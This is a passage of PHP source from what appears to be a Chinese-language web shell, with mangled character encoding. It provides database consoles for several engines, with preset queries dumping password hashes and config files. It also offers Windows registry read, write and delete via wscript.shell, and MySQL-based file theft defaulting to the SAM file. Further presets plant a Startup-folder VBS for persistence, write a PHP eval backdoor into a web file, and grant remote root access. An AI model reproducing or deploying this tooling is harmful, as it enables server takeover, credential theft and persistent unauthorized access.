	<option value="4"><3E>ֶ<EFBFBD></option>
	<option value="5">hashes</option>
	<option value="6"><3E><>ȡ<EFBFBD>ļ<EFBFBD></option>
	<option value="7">д<>ļ<EFBFBD></option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($oraaction == 'oraquery'){
$oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); 
$oraresult=ociparse($oralink,$oraquery) or die(ocierror());
$orarow=oci_fetch_row($oraresult);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i=0; $i<oci_num_fields($oraresult); $i++)
{
	echo '<td bgcolor="#228B22"><b>'.
	oci_field_name($oraresult, $i);
	echo "</b></td>\n";
}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow=ora_fetch_row($oraresult))
{
echo "<tr>\n";
for ($i=0; $i<ora_num_fields($result); $i++ )
{
echo '<td bgcolor="#B8B8E8">';
echo "$orarow[$i]";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
oci_free_statement($oraresult);
ocilogoff();
}
}
elseif ($db == "ifx"){
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print<<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
	Str[0] = "";
	Str[1] = "select dbservername from sysobjects;";
	Str[2] = "select name from sysdatabases;";
	Str[3] = "select tabname from systables;";
	Str[4] = "select colname from syscolumns where tabid=n;";
	Str[5] = "select username,usertype,password from sysusers;";
	ifxform.ifxsql.value = Str[i];
	return true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
	<option value="0" selected>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><><EFBFBD>ݿ<EFBFBD></option>
	<option value="2"><3E><><EFBFBD><EFBFBD></option>
	<option value="3"><3E>ֶ<EFBFBD></option>
	<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery'){
	$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
	$ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg());
	$ifxrow=ifx_fetch_row($ifxresult);
	echo '<font face="verdana">';
	echo '<table border="1" cellpadding="1" cellspacing="2">';
	echo "\n<tr>\n";
	for ($i=0; $i<ifx_num_fields($ifxresult); $i++)
{
echo '<td bgcolor="#228B22"><b>'.
ifx_fieldproperties($ifxresult);
echo "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow=ifx_fetch_row($ifxresult))
{
echo "<tr>\n";
for ($i=0; $i<ifx_num_fields($ifxresult); $i++ )
{
echo '<td bgcolor="#B8B8E8">';
echo "$ifxrow[$i]";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
ifx_free_result($ifxresult);
ifx_close();
}
}
elseif ($db=="db2"){
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print<<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
	Str[0] = "";
	Str[1] = "select schemaname from syscat.schemata;";
	Str[2] = "select name from sysibm.systables;";
	Str[3] = "select colname from syscat.columns where tabname='table_name';";
	Str[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
	<option value="0" selected>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><><EFBFBD>ݿ<EFBFBD></option>
	<option value="1"><3E><><EFBFBD><EFBFBD></option>
	<option value="2"><3E>ֶ<EFBFBD></option>
	<option value="3"><3E><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD></option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query'){
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg());
$db2row=db2_fetch_row($db2result);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i=0; $i<db2_num_fields($db2result); $i++)
{
echo '<td bgcolor="#228B22"><b>'.
db2_field_name($db2result);
echo "</b></td>\n";
}
echo "</tr>\n";
while ($db2row=db2_fetch_row($db2result))
{
echo "<tr>\n";
for ($i=0; $i<db2_num_fields($db2result); $i++ )
{
echo '<td bgcolor="#B8B8E8">';
echo "$db2row[$i]";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
db2_free_result($db2result);
db2_close();
}
}
elseif($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print<<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
	Str[0] = "";
	Str[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
	Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
	Str[3] = "input 'D:\\createtable.sql';";
	Str[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
	<option value="0" selected>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><><EFBFBD><EFBFBD></option>
	<option value="2"><3E>ֶ<EFBFBD></option>
	<option value="3"><3E><><EFBFBD><EFBFBD>sql</option>
	<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery'){
	$fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg());
	$fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg());
	echo '<font face="verdana">';
	echo '<table border="1" cellpadding="1" cellspacing="2">';
	echo "\n<tr>\n";
	for ($i=0; $i<ibase_num_fields($fbresult); $i++)
	{
	echo '<td bgcolor="#228B22"><b>'.
	ibase_field_info($fbresult, $i);
	echo "</b></td>\n"; 
	}
	echo "</tr>\n";
	ibase_field_info($fbresult, 0);
	while ($fbrow=ibase_fetch_row($fbresult))
{
echo "<tr>\n";
for ($i=0; $i<ibase_num_fields($fbresult); $i++ )
{
echo '<td bgcolor="#B8B8E8">';
echo "$fbrow[$i]";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
ibase_free_result($fbresult);
ibase_close();
}
}
else{
$pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost';
$pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres';
$pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : '';
$pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres';
$pgaction = isset($_POST['action']) ? $_POST['action'] : '';
$pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; 
$pgquery = stripslashes($pgquery);
print<<<END
<form method="POST" name="pgform" action="?s=gg">
<div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;">
User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px">
Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br>
<script language="javascript">
function pgFull(i){
Str = new Array(7);
	Str[0] = "";
	Str[1] = "select version();";
	Str[2] = "select datname from pg_database;";
	Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;";
	Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;";
	Str[5] = "select usename,passwd from pg_shadow;";
	Str[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
	pgform.pgsql.value = Str[i];
	return true;
}
</script>
<textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br>
<select onchange="return pgFull(options[selectedIndex].value)">
	<option value="0" selected>ִ<><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
	<option value="1"><3E><>ʾ<EFBFBD>汾</option>
	<option value="2"><3E><><EFBFBD>ݿ<EFBFBD></option>
	<option value="3"><3E><><EFBFBD><EFBFBD></option>
	<option value="4"><3E>ֶ<EFBFBD></option>
	<option value="5">hashes</option>
	<option value="6">pg_hb.conf</option>
</select>
<input type="hidden" name="action" value="pgquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($pgaction == 'pgquery'){
$pgconn = pg_connect("host=$pghost dbname=$pgdbname user=$pguser password=$pgpass ") 
        or die( 'Could not connect: ' . pg_last_error()); 
$pgresult = pg_query($pgquery) or die( 'Query failed: '.pg_last_error()); 
$pgrow=pg_fetch_row($pgresult);
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i=0; $i<pg_num_fields($pgresult); $i++)
{
echo '<td bgcolor="#228B22"><b>'.
pg_field_name($pgresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
pg_result_seek($pgresult, 0);
while ($pgrow=pg_fetch_row($pgresult))
{
echo "<tr>\n";
for ($i=0; $i<pg_num_fields($pgresult); $i++ )
{
echo '<td bgcolor="#B8B8E8">';
echo "$pgrow[$i]";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
pg_free_result($pgresult);
pg_close();
}
}
}
//WINע<4E><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ
function phpreg(){
$shell1 = new COM("wscript.shell") or die("require windows host");
$action = isset($_POST['action']) ? $_POST['action'] : '';  
echo '<div class="actall"><h5>Windowsע<73><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д</h5></div>';
print<<<END
<TR><form action="" method="post">   
<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>   
·<EFBFBD><EFBFBD>:<input type="hidden" name="action" value="<22><>ȡ">   
<input type="text" name="rpath" value="{$rpath}" size="70">   
<input class="bt" type="submit" value="<22><>ȡ"></form><br></TD></TR></div>   
END;
$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : '';   
$rpath = str_replace("\\\\", "\\", $rpath);      
if ($action=="read"){
$out = $shell1->RegRead($rpath);
echo '<pre>'.var_dump($out).'</pre>';     
}
print<<<END
<TR><form action="" method="post">   
<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>λ<><CEBB>:<input type="text" name="wpath" value="{$wpath}" size="70"><BR><br> 
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<input type="text" name="wtype" value="{$wtype}" size="20"> ֵ:<input type="text" name="wvalue" value="{$wvalue}" size="30">
<input type="hidden" name="action" value="write"><input class="bt" type="submit" value="д<><D0B4>"></form></TD></TR></div>   
END;
$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : '';   
$wpath = str_replace("\\\\", "\\", $wpath);      
$wtype = isset($_POST['wtype']) ? $_POST['wtype'] : '';
$wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : '';
if($action=="write"){
$shell1->RegWrite($wpath, $wvalue, $wtype);     
}
print<<<END
<TR><form action="" method="post">   
<div class="actall"><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>  
λ<EFBFBD><EFBFBD>:<input type="hidden" name="action" value="del">   
<input type="text" name="dpath" value="{$dpath}" size="70">   
<input class="bt" type="submit" value="ɾ"></form></TD></TR></div>   
END;
$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : '';   
$dpath = str_replace("\\\\", "\\", $dpath);      
if($action=="del"){
$out = $shell1->RegDelete($dpath);  
}
}
//MySqlִ<6C><D6B4>
function Mysql_n()
{
	$MSG_BOX = '';
	$mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();';
	if(isset($_POST['mhost']) && isset($_POST['muser']))
	{
		$mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport'];
		if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata);
		else $MSG_BOX = '<27><><EFBFBD><EFBFBD>MYSQLʧ<4C><CAA7>';
	}
	$downfile = 'c:/windows/repair/sam';
	if(!empty($_POST['downfile']))
	{
		$downfile = File_Str($_POST['downfile']);
		$binpath = bin2hex($downfile);
		$query = 'select load_file(0x'.$binpath.')';
		if($result = @mysql_query($query,$conn))
		{
			$k = 0; $downcode = '';
			while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;}
			$filedown = basename($downfile);
			if(!$filedown) $filedown = 'spider.tmp';
			$array = explode('.', $filedown);
			$arrayend = array_pop($array);
			header('Content-type: application/x-'.$arrayend);
			header('Content-Disposition: attachment; filename='.$filedown);
			header('Content-Length: '.strlen($downcode));
			echo $downcode;
			exit;
		}
		else $MSG_BOX = '<27><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><CAA7>';
	}
	$o = isset($_GET['o']) ? $_GET['o'] : '';
	Root_CSS();
print<<<END
<form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data">
<center><div class="actall"><a href="?s=n">[MYSQLִ<4C><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]</a> 
<a href="?s=n&o=u">[MYSQL<51>ϴ<EFBFBD><CFB4>ļ<EFBFBD>]</a> 
<a href="?s=n&o=d">[MYSQL<51><4C><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>]</a></div>
<div class="actall">
<EFBFBD><EFBFBD>ַ <input type="text" name="mhost" value="{$mhost}" style="width:110px">
<EFBFBD>˿<EFBFBD> <input type="text" name="mport" value="{$mport}" style="width:110px">
<EFBFBD>û<EFBFBD> <input type="text" name="muser" value="{$muser}" style="width:110px">
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="mpass" value="{$mpass}" style="width:110px">
<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <input type="text" name="mdata" value="{$mdata}" style="width:110px">
</div>
<div class="actall" style="height:220px;">
END;
if($o == 'u')
{
	$uppath = 'C:/Documents and Settings/All Users/<2F><><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>˵<EFBFBD>/<2F><><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD>/exp.vbs';
	if(!empty($_POST['uppath']))
	{
		$uppath = $_POST['uppath'];
		$query = 'Create TABLE a (cmd text NOT NULL);';
		if(@mysql_query($query,$conn))
		{
			if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));}
			else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}}
			$query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));';
			if(@mysql_query($query,$conn))
			{
				$query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';';
				$MSG_BOX = @mysql_query($query,$conn) ? '<27>ϴ<EFBFBD><CFB4>ļ<EFBFBD><C4BC>ɹ<EFBFBD>' : '<27>ϴ<EFBFBD><CFB4>ļ<EFBFBD>ʧ<EFBFBD><CAA7>';
			}
			else $MSG_BOX = '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>ʧ<EFBFBD><CAA7>';
			@mysql_query('Drop TABLE IF EXISTS a;',$conn);
		}
		else $MSG_BOX = '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>ʧ<EFBFBD><CAA7>';
	}
print<<<END
<br><br><3E>ϴ<EFBFBD>·<EFBFBD><C2B7> <input type="text" name="uppath" value="{$uppath}" style="width:500px">
<br><br>ѡ<><D1A1><EFBFBD>ļ<EFBFBD> <input type="file" name="upfile" style="width:500px;height:22px;">
</div><div class="actall"><input type="submit" value="<22>ϴ<EFBFBD>" style="width:80px;">
END;
}
elseif($o == 'd')
{
print<<<END
<br><br><br><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD> <input type="text" name="downfile" value="{$downfile}" style="width:500px">
</div><div class="actall"><input type="submit" value="<22><><EFBFBD><EFBFBD>" style="width:80px;">
END;
}
else
{
	if(!empty($_POST['msql']))
	{
		$msql = $_POST['msql'];
		if($result = @mysql_query($msql,$conn))
		{
			$MSG_BOX = 'ִ<><D6B4>SQL<51><4C><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><br>';
			$k = 0;
			while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
		}
		else $MSG_BOX .= mysql_error();
	}
print<<<END
<script language="javascript">
function nFull(i){
	Str = new Array(11);
	Str[0] = "select version();";
	Str[1] = "select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'";
	Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F://a.php';";
	Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
	nform.msql.value = Str[i];
	return true;
}
</script>
<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
<div class="actall">
<select onchange="return nFull(options[selectedIndex].value)">
	<option value="0" selected><3E><>ʾ<EFBFBD>汾</option>
	<option value="1"><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD></option>
	<option value="2">д<><D0B4><EFBFBD>ļ<EFBFBD></option>
	<option value="3"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></option>
</select>
<input type="submit" value="ִ<><D6B4>" style="width:80px;">
END;
}
	if($MSG_BOX != '') echo '</div><div class="actall">'.$MSG_BOX.'</div></center></form>';
	else echo '</div></center></form>';
	return true;
}

//MYSQL<51><4C><EFBFBD><EFBFBD>
function Mysql_Len($data,$len)
{
	if(strlen($data) < $len) return $data;
	return substr_replace($data,'...',$len);
}
function Mysql_Msg()
{
	$conn = @mysql_connect($_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'],$_COOKIE['m_spideruser'],$_COOKIE['m_spiderpass']);
	if($conn)
	{
print<<<END
<script language="javascript">
function Delok(msg,gourl)
{
	smsg = "ȷ<><C8B7>Ҫɾ<D2AA><C9BE>[" + unescape(msg) + "]<5D><>?";
	if(confirm(smsg)){window.location = gourl;}
}
function Createok(ac)
{
	if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);';
	if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
	if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
	return false;
}
</script>
END;
		$BOOL = false;
		$MSG_BOX = '<27>û<EFBFBD>:'.$_COOKIE['m_spideruser'].' &nbsp;&nbsp;&nbsp;&nbsp; <20><>ַ:'.$_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'].' &nbsp;&nbsp;&nbsp;&nbsp; <20>汾:';
		$k = 0;
		$result = @mysql_query('select version();',$conn);
		while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
		echo '<div class="actall"> <20><><EFBFBD>ݿ<EFBFBD>:';
		$result = mysql_query("SHOW DATABASES",$conn);
		while($db = mysql_fetch_array($result)){echo '&nbsp;&nbsp;[<a href="?s=r&db='.$db['Database'].'">'.$db['Database'].'</a>]';}
		echo '</div>';
		if(isset($_GET['db']))
		{
			mysql_select_db($_GET['db'],$conn);
			if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? 'ִ<>гɹ<D0B3>' : 'ִ<><D6B4>ʧ<EFBFBD><CAA7> '.mysql_error();}
			if(is_array($_POST['insql']))
			{
				$query = 'INSERT INTO '.$_GET['table'].' (';
				foreach($_POST['insql'] as $var => $key)
				{
					$querya .= $var.',';
					$queryb .= '\''.addslashes($key).'\',';
				}
				$query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');';
				$MSG_BOX = mysql_query($query,$conn) ? '<27><><EFBFBD>ӳɹ<D3B3>' : '<27><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7> '.mysql_error();
			}
			if(is_array($_POST['upsql']))
			{
				$query = 'UPDATE '.$_GET['table'].' SET ';
				foreach($_POST['upsql'] as $var => $key)
				{
					$queryb .= $var.'=\''.addslashes($key).'\',';
				}
				$query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';';
				$MSG_BOX = mysql_query($query,$conn) ? '<27>޸ijɹ<C4B3>' : '<27>޸<EFBFBD>ʧ<EFBFBD><CAA7> '.mysql_error();
			}
			if(isset($_GET['del']))
			{
				$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn);
				$good = mysql_fetch_assoc($result);
				$query = 'DELETE FROM '.$_GET['table'].' WHERE ';
				foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';}
				$where = $query.substr($queryc, 0, -4).';';
				$MSG_BOX = mysql_query($where,$conn) ? 'ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>' : 'ɾ<><C9BE>ʧ<EFBFBD><CAA7> '.mysql_error();
			}
			$action = '?s=r&db='.$_GET['db'];
			if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? 'ɾ<><C9BE><EFBFBD>ɹ<EFBFBD>' : 'ɾ<><C9BE>ʧ<EFBFBD><CAA7> '.mysql_error();}
			if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];}
			if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert'];
			echo '<div class="actall"><form method="POST" action="'.$action.'">';
			echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">'.$_POST['nsql'].'</textarea> ';
			echo '<input type="submit" name="querysql" value="ִ<><D6B4>" style="width:60px;height:49px;"> ';
			echo '<input type="button" value="<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" style="width:60px;height:49px;" onclick="Createok(\'a\')"> ';
			echo '<input type="button" value="<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" style="width:60px;height:49px;" onclick="Createok(\'b\')"> ';
			echo '<input type="button" value="ɾ<><C9BE><EFBFBD><EFBFBD>" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>';
			echo '<div class="msgbox" style="height:40px;">'.$MSG_BOX.'</div><div class="actall"><a href="?s=r&db='.$_GET['db'].'">'.$_GET['db'].'</a> ---> ';
			if(isset($_GET['table']))
			{
				echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'">'.$_GET['table'].'</a> ';
				echo '[<a href="?s=r&db='.$_GET['db'].'&insert='.$_GET['table'].'"><3E><><EFBFBD><EFBFBD></a>]</div>';
				if(isset($_GET['edit']))
				{
					if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table'];
					echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$atable.'">';
					$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn);
					$good = mysql_fetch_assoc($result);
					$u = 0;
					foreach($good as $var => $key)
					{
						$queryc .= $var.'=\''.$key.'\' AND ';
						$type = @mysql_field_type($result, $u);
						$len = @mysql_field_len($result, $u);
						echo '<div class="actall">'.$var.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="upsql['.$var.']" style="width:600px;height:60px;">'.htmlspecialchars($key).'</textarea></div>';
						$u++;
					}
					$where = 'WHERE '.substr($queryc, 0, -4);
					echo '<input type="hidden" id="wherevar" name="wherevar" value="'.base64_encode($where).'">';
					echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>';
				}
				else
				{
					$query = 'SHOW COLUMNS FROM '.$_GET['table'];
		      $result = mysql_query($query,$conn);
		      $fields = array();
		      $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn));
		      if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20;
					echo '<table border="0"><tr>';
					echo '<td class="toptd" style="width:70px;" nowrap><3E><><EFBFBD><EFBFBD></td>';
					while($row = @mysql_fetch_assoc($result))
					{
						array_push($fields,$row['Field']);
						echo '<td class="toptd" nowrap>'.$row['Field'].'</td>';
					}
					echo '</tr>';
					if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;';
					$result = mysql_query($query,$conn);
					$v = $p;
					while($text = @mysql_fetch_assoc($result))
					{
						echo '<tr><td><a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&edit='.$v.'"> <20>޸<EFBFBD> </a> ';
						echo '<a href="#" onclick="Delok(\'<27><>\',\'?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&del='.$v.'\');return false;"> ɾ<><C9BE> </a></td>';
						foreach($fields as $row){echo '<td>'.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'</td>';}
						echo '</tr>'."\r\n";$v++;
					}
					echo '</table><div class="actall">';
					for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? '<font color="#FF0000">'.$i.'</font>' : $i;echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$i.'">['.$k.']</a> ';}
					echo '</div>';
				}
			}
			elseif(isset($_GET['insert']))
			{
				echo '<a href="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">'.$_GET['insert'].'</a></div>';
				$result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn);
				$fieldnum = @mysql_num_fields($result);
				echo '<form method="POST" action="?s=r&db='.$_GET['db'].'&table='.$_GET['insert'].'">';
				for($i = 0;$i < $fieldnum;$i++)
				{
					$name = @mysql_field_name($result, $i);
					$type = @mysql_field_type($result, $i);
					$len = @mysql_field_len($result, $i);
					echo '<div class="actall">'.$name.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="insql['.$name.']" style="width:600px;height:60px;"></textarea></div>';
				}
				echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>';
			}
			else
			{
				$query = 'SHOW TABLE STATUS';
				$status = @mysql_query($query,$conn);
				while($statu = @mysql_fetch_array($status))
